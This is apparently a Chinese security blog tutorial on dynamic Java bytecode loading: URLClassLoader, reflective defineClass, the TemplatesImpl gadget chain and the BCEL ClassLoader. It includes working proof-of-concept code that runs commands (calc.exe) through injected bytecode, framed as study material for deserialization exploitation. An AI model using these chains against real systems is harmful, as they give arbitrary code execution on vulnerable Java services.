• Java安全之动态加载字节码


    Java字节码#

    简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。
    由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自己的代码编译一次,就可以运行在不同平台的JVM中。
    甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文
    件,都可以在JVM虚拟机中运行:
    uploading-image-878441.png

    URLClassLoader加载远程class文件#

    ClassLoader是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认的就是根据类名来加载类,这个类名需要是完整路径,比如说java.lang.Runtime

    URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释
    URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程

    正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这
    些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

    • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
    • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
    • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

    使用Http协议测试,看Java是否能从远程HTTP服务器上加载.class文件:

    import java.net.URL;
    import java.net.URLClassLoader;
    public class HelloClassLoader {
        public static void main( String[] args ) throws Exception
        {
            URL[] urls = {new URL("http://localhost:7777/")};
            URLClassLoader loader = URLClassLoader.newInstance(urls);
            Class c = loader.loadClass("Hello");
            c.newInstance();
        }
    }
    

    先编译一个.class文件放在服务器上

    public class Hello {
        static{
            System.out.println("Hello,gk0d");
        }
    }
    

    这里用python起一个微型服务器

     python -m http.server 7777 --bind 127.0.0.1
    

    注意:我这里是换了端口,且绑定了127.0.0.1,

    image-20221112140751116

    我使用第二种是报错的,问了很多人,原因如下:第二种默认启动的服务器是IPV6地址,Java是解析不了的。这种情况在JNDI注入中也有出现。如果有懂的大佬,欢迎留言。

    image-20221112141425404

    利用ClassLoader#defineClass直接加载字节码#

    其实,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用

    ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
    
    • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
    • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在
      本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
    • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

    所以真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
    默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

    native方法称为本地方法。在java源程序中以关键字“native”声明,不提供函数体。
    其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。
    简而言就是Java中声明的可调用的使用C/C++实现的方法。

    例子:

    package org.gk0d;
    
    import java.lang.reflect.Method;
    import java.util.Base64;
    
    public class HelloDefineClass {
        public static void main(String[] args) throws Exception {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
                            "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
                            "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
                            "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
                            "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
                            "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
                            "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
            Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
            hello.newInstance();
        }
    }
    //ClassLoader.getSystemClassLoader()返回系统的类加载器对象
    

    里面是Hello.class的base64编码

    注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造
    函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

    因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得
    不使用反射的形式来调用。
    在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我
    们常用的一个攻击链 TemplatesImpl 的基石。

    利用TemplatesImpl加载字节码#

    前面分析了defineClass方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl ,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
    TransletClassLoader :

    static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;
    
         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }
    
        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }
    
        public Class loadClass(String name) throws ClassNotFoundException {
            Class ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }
    
        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }
    

    这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个
    方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的
    protected类型变成了一个default类型的方法,可以被类外部调用。

    TransletClassLoader#defineClass() 向前追溯一下调用链:

    TransletClassLoader#defineClass() 
    -> TemplatesImpl#defineTransletClasses() 
    -> TemplatesImpl#getTransletInstance() 
    -> TemplatesImpl#newTransformer() 
    -> TemplatesImpl#getOutputProperties()
    

    先看TemplatesImpl#defineTransletClasses()方法:

    private void defineTransletClasses()
            throws TransformerConfigurationException {
    
            if (_bytecodes == null) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
                throw new TransformerConfigurationException(err.toString());
            }
    
            TransletClassLoader loader = (TransletClassLoader)
                AccessController.doPrivileged(new PrivilegedAction() {
                    public Object run() {
                        return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                    }
                });
    
            try {
                final int classCount = _bytecodes.length;
                _class = new Class[classCount];
    
                if (classCount > 1) {
                    _auxClasses = new HashMap<>();
                }
    
                for (int i = 0; i < classCount; i++) {
                    _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass
                    final Class superClass = _class[i].getSuperclass();
    
                    // Check if this is the main class
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        _transletIndex = i;
                    }
                    else {
                        _auxClasses.put(_class[i].getName(), _class[i]);
                    }
                }
    
                if (_transletIndex < 0) {
                    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                    throw new TransformerConfigurationException(err.toString());
                }
            }
            catch (ClassFormatError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
            catch (LinkageError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
    

    但它是一个private方法,还是不能直接调用,继续往上看到getTransletInstance()

    private Translet getTransletInstance()
            throws TransformerConfigurationException {
            try {
                if (_name == null) return null;
    
                if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法
    
                // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
                AbstractTranslet translet = (AbstractTranslet)
                        _class[_transletIndex].getConstructor().newInstance();
                translet.postInitialization();
                translet.setTemplates(this);
                translet.setOverrideDefaultParser(_overrideDefaultParser);
                translet.setAllowedProtocols(_accessExternalStylesheet);
                if (_auxClasses != null) {
                    translet.setAuxiliaryClasses(_auxClasses);
                }
    
                return translet;
            }
            catch (InstantiationException | IllegalAccessException |
                    NoSuchMethodException | InvocationTargetException e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString(), e);
            }
        }
    

    还是private方法,继续找到newTransformer()方法

    public synchronized Transformer newTransformer()
            throws TransformerConfigurationException
        {
            TransformerImpl transformer;
    
            transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                _indentNumber, _tfactory);//调用了getTransletInstance方法
    
            if (_uriResolver != null) {
                transformer.setURIResolver(_uriResolver);
            }
    
            if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
                transformer.setSecureProcessing(true);
            }
            return transformer;
        }
    

    是public方法了,可以直接调用,所以一条调用链就出来了

    首先得设置TemplatesImpl对象的三个私有属性,这里我们用反射设置就行,三个属性:_bytecodes_name_tfactory

    • _name:为任意字符串,只要不是null才可以进入defineTransletClasses()
    • _bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null
    • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

    另外TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
    所以,我们需要构造一个特殊的类:

    package org.gk0d;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    public class HelloTemplatesImpl extends AbstractTranslet {
        public void transform(DOM document, SerializationHandler[] handlers)
                throws TransletException {}
        public void transform(DOM document, DTMAxisIterator iterator,
                              SerializationHandler handler) throws TransletException {}
        public HelloTemplatesImpl() {
            super();
            System.out.println("Hello TemplatesImpl");
        }
    }
    

    解释以下为什么多了两个transform方法

    这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,
    这时子类如果不是抽象的,那必须将其他接口方法都实现。
    这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
    是父类里面的抽象方法所以要重写
    transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写
    

    同样将其编译为class文件,然后base64编码
    最后就是写poc了,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue

    package org.gk0d;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    
    import java.lang.reflect.Field;
    import java.util.Base64;
    
    public class a {
        public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, Value);
        }
    
        public static void main(String[] args) throws Exception {
    // source: bytecodes/HelloTemplateImpl.java
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                    "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                    "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                    "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                    "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                    "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                    "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                    "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                    "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                    "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                    "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                    "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                    "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                    "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                    "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                    "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                    "DwABABAAAAACABE=");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{code});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            obj.newTransformer();
        }
    }
    

    利用BCEL ClassLoader加载字节码#

    关于BCEL先看看p神的:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

    被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的
    原生库中。

    BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。

    BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

    在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode
    来看一下decode的具体算法:

    private static class JavaWriter extends FilterWriter {
        public JavaWriter(Writer out) {
          super(out);
        }
    
        public void write(int b) throws IOException {
          if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
            out.write(b);
          } else {
            out.write(ESCAPE_CHAR); // Escape character
    
            // Special escape
            if(b >= 0 && b < FREE_CHARS) {
              out.write(CHAR_MAP[b]);
            } else { // Normal escape
              char[] tmp = Integer.toHexString(b).toCharArray();
    
              if(tmp.length == 1) {
                out.write('0');
                out.write(tmp[0]);
              } else {
                out.write(tmp[0]);
                out.write(tmp[1]);
              }
            }
          }
        }
    
        public void write(char[] cbuf, int off, int len) throws IOException {
          for(int i=0; i < len; i++)
            write(cbuf[off + i]);
        }
    
        public void write(String str, int off, int len) throws IOException {
          write(str.toCharArray(), off, len);
        }
      }
    

    可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩

    边写恶意类

    package org.gk0d;
    
    import java.io.IOException;
    
    public class calc{
        static  {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    }
    

    然后通过BCEL提供的两个类Repositoryutility来利用:

    Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);
    
    utility用于将原生字节码转换成BCEL格式的字节码
    
    package org.gk0d;
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    
    public class POP {
        public static void main(String[] args) throws Exception{
            JavaClass javaClass = Repository.lookupClass(calc.class);
            String code = Utility.encode(javaClass.getBytes(),true);
            System.out.println(code);
        }
    }
    

    最后用BCEL ClassLoader加载这串特殊的字节码,并执行里面的代码:

    package org.gk0d;
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    
    public class Test {
        public static void main(String[] args) throws Exception{
            c();
        }
        private static void b() throws Exception{
            JavaClass javaClass = Repository.lookupClass(a.class);
            String code = Utility.encode(javaClass.getBytes(),true);
            System.out.println(code);
        }
        private static void c() throws Exception {
            new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance();
        }
    }
    

    代码进行简化后如下

    package org.gk0d;
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    
    public class Test {
        public static void main(String[] args) throws Exception {
    
    
            JavaClass javaClass = Repository.lookupClass(calc.class);
            String code = Utility.encode(javaClass.getBytes(), true);
            System.out.println(code);
    
    
            new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    
        }
    }
    

    总结#

    BCEL ClassLoader类和前面的
    TemplatesImpl 都出自于同一个第三方库,Apache Xalan,在Fastjson等漏洞的利用链构造时都有被用到
    还有一个重要的利用条件就是在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用。

  • 相关阅读:
    什么是腾讯云web应用防火墙?有哪些优势以及适用于什么场景?
    配置OSPFv3引入外部路由及路由过滤 华为实验
    【Flutter】动态可配置组件实现方式(FlutterWeb解析Html标签)
    WebSocket的简单应用
    基于Softmax回归的多分类任务
    二分类和多分类
    操作系统知识点
    腾讯云2023年云服务器优惠活动价格表
    XSCTF联合招新【真是阳间题】(MSIC+Crypto)
    设计超萌的机械键盘,超有手感还不吵人,雷柏MT510PRO键盘上手
  • 原文地址:https://www.cnblogs.com/gk0d/p/16880749.html